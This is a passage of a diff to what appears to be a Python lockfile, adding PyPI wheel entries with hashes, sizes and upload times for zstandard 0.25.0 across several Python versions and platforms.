"2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +]